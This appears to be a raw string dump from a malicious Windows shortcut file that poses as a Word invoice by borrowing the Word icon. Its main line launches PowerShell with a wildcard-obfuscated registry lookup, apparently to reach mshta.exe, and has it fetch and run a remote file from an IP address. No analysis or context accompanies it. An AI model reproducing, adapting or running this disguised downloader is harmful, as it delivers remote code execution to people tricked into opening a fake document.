Windows
System32
WindowsPowerShell
powershell.exe
%ProgramFiles%\Microsoft Office\root\Office16\WORDICON.EXE
Windows
System32
WindowsPowerShell
powershell.exe
invoice?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe\.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://185.38.142.128/test.spBC:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE
%ProgramFiles%\Microsoft Office\root\Office16\WORDICON.EXE
S-1-5-21-3993978561-3792173305-3571888597-500